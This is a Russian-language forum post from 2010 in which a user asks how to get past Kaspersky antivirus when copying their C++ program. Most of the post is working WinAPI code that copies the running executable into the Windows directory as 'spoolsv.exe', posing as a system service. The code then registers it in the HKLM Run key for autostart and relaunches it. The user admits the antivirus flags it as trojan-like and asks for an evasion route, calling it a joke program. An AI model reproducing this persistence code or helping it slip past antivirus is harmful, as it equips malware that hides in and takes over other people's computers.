Показать сообщение отдельно

Как спопировать файл С++ с обходом kAV
  #1  
Старый 22.02.2010, 13:09
agrofyl2
Познающий
Регистрация: 25.04.2008
Сообщений: 51
С нами: 9497102

Репутация: 17
По умолчанию Как спопировать файл С++ с обходом kAV

Пытаюсь скопировать файлик в папку винды, прописать его в реестр и запустить
Код:
void OnStart() {
   //Получаем путь к своей программе
  wchar_t path[1025]=L"";
  GetModuleFileNameW(NULL, path, 1024);
  
  //Получаем путь для копирования
  wchar_t copy2path[1025]=L"";
  GetWindowsDirectoryW(copy2path, 1024);
  wcscat(copy2path, L"\\spoolsv.exe");
  
  //Сравниваем пути
  if(wcsicmp(path, copy2path)==0) return;
  
  //Либо 1) Еще не скопированы в систему
  //2) Скопированы, но запущено вторично из др. источника
	
  //Если не удалось скопироваться - значит уже скопированы/неудачно скопированы - выходим
  if(!CopyFileW(path, copy2path, 1)) {
    MessageBox(0, "Cant copy", "", 0);
    exit(0);
  }

  //Если скопированы удачно - добавляемся в реестр
  else { 
    HKEY key;//Add In Autorun
    DWORD action;
    if(ERROR_SUCCESS==RegCreateKeyEx(HKEY_LOCAL_MACHINE, __T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, NULL,  REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, &action))
    {
      RegSetValueExW(key, L"spoolsv", 0, REG_SZ, (LPBYTE)copy2path, lstrlenW(copy2path)*2+1);
      RegCloseKey(key);	
      
      //Добавлено удачно - запускаем программу, а сами выходим
      char forexec[1025]="";
      wcstombs(forexec, copy2path, 1024);
      
      STARTUPINFO si; PROCESS_INFORMATION pi; GetStartupInfo(&si);
      
      if(!CreateProcess(forexec, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
      WinExec(forexec, 0);
      exit(0);
     }
    exit(0);
  }
}
Но касперский пишет: "поведение, похожее на Trojan Generic"
Файл скопирован и добавлен в реестр(непонятно почему), но повторно не запускается(до CreateProcess выполнение не доходит)
Методом исключения было установлено, что антивирус реагирует на строчку CopyFileW

В принципе пишу программу-шутку и универсальность не нужна. Скопировать файл через коммандную строку чтоли?
 
Ответить с цитированием